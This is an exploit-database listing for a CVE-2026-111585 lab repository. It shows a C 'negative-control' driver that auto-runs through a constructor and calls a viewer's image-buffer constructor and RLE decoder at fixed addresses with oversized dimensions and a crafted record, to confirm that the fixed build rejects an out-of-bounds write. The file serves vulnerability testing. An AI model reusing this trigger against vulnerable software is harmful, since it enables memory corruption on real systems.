Exploit databaseDownload repository ZIP
GH-f5d040789e350bd2ebdd26ca904291f8
googlesky/cve-2026-111585
Sources for CVE-2026-111585
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files6
googlesky/cve-2026-111585Revision 4bc1504a940f
- ↑..Parent directory
- Dockerfile
- driver_fixed_src.c
- driver_fixed_src.cpp
- driver_vuln.c
- entrypoint.sh
- guard_alloc.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/image/driver_fixed_src.c
C · 2,466 bytes/* CVE-2026-111585 — negative-control driver for the FIXED build (15.83.3)
* Same trigger as driver.c but:
* - offsets ported to 15.83.3 (ctor 0x016ec3ca, RLE decoder 0x013bc223)
* - C++ try/catch: the fixed ctor validates the 64-bit plane size and throws
* ("Buffer too big: width %1%, height %2% ..." → error 400) instead of
* wrapping. Expected: exception caught, NO out-of-bounds write, viewer alive.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#define TV_CTOR ((void(*)(void*, void*, uint32_t, uint32_t, uint32_t, void*, void*, uint32_t))0x016ec3ca)
#define TV_RLE_DECODE ((int(*)(void*, void*, uint8_t*, uint8_t*))0x013bc223)
static void logf_(const char *msg) {
int fd = open("/opt/lab/evidence/driver.log", O_WRONLY | O_CREAT | O_APPEND, 0644);
if (fd >= 0) { ssize_t r = write(fd, msg, strlen(msg)); (void)r; close(fd); }
}
static void *trigger(void *arg)
{
(void)arg;
sleep(35);
uint8_t *fmt = (uint8_t*)calloc(1, 0x60);
*(uint32_t*)(fmt + 0x04) = 1;
*(uint32_t*)(fmt + 0x08) = 32;
*(uint32_t*)(fmt + 0x0c) = 32;
uint32_t *dims = (uint32_t*)calloc(4, 8);
uint8_t *bb = (uint8_t*)calloc(1, 0x400);
logf_("[driver-15.83.3] ctor: w=h=0x8000 stride=0x20040\n");
TV_CTOR(bb, fmt, 0x8000, 0x8000, 0x20040, dims, NULL, 0x10000000);
logf_("[driver-15.83.3] ctor returned without throwing\n");
uint64_t *planes = *(uint64_t **)(bb + 0x68);
if (!planes) { logf_("[driver-15.83.3] no planes (rejected) — fix working\n"); return NULL; }
char buf[256];
snprintf(buf, sizeof buf,
"[driver-15.83.3] plane0 byteSize=0x%llx stride=0x%x w=%u h=%u\n",
(unsigned long long)*(uint64_t*)(planes + 1),
*(uint32_t*)((uint8_t*)planes + 0x20),
*(uint32_t*)((uint8_t*)planes + 0x10),
*(uint32_t*)((uint8_t*)planes + 0x14));
logf_(buf);
uint32_t rect[4] = {0, 0, 0x8000, 0x8000};
uint32_t rec[3] = {0x7693b09e, 0x1000000, 0x41424344};
logf_("[driver-15.83.3] firing decoder (unexpected on fixed build)\n");
int rc = TV_RLE_DECODE(rect, bb, (uint8_t*)rec, (uint8_t*)rec + 12);
snprintf(buf, sizeof buf, "[driver-15.83.3] decoder rc=%d\n", rc);
logf_(buf);
return NULL;
}
__attribute__((constructor))
static void drv_init(void) { pthread_t t; pthread_create(&t, NULL, trigger, NULL); }